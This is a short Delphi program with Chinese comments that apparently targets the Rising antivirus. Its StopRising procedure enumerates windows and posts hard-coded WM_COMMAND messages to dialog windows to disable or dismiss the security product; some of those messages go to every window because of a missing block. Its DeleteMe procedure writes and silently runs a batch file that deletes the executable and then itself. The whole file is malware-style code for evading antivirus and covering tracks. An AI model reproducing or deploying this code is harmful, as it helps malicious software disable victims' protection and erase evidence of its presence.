program Project1; uses Windows, Messages, SysUtils; procedure DeleteMe; var BatchFile: TextFile; BatchFileName: string; ProcessInfo: TProcessInformation; StartUpInfo: TStartupInfo; begin BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat'; AssignFile(BatchFile, BatchFileName); Rewrite(BatchFile); Writeln(BatchFile, ':try'); Writeln(BatchFile, 'del "' + ParamStr(0) + '"'); Writeln(BatchFile, 'if exist "' + ParamStr(0) + '"' + ' goto try'); Writeln(BatchFile, 'del %0'); CloseFile(BatchFile); FillChar(StartUpInfo, SizeOf(StartUpInfo), $00); StartUpInfo.dwFlags := STARTF_USESHOWWINDOW; StartUpInfo.wShowWindow := SW_HIDE; if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then begin CloseHandle(ProcessInfo.hThread); CloseHandle(ProcessInfo.hProcess); end; end; procedure StopRising; var hWindow: HWND; lpClassName: array[0..20] of char; begin hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST); repeat GetClassName(hWindow, lpClassName, 20); if lpClassName = '#32770' then //判断搜索窗口的类名 PostMessage(hWindow, WM_COMMAND,40027,0); PostMessage(hWindow, WM_COMMAND,2775,0); PostMessage(hWindow, WM_COMMAND,32776,0); hWindow := GetWindow(hWindow, GW_HWNDNEXT); until hWindow = 0; end; begin StopRising; //调用 DeleteMe; end.
|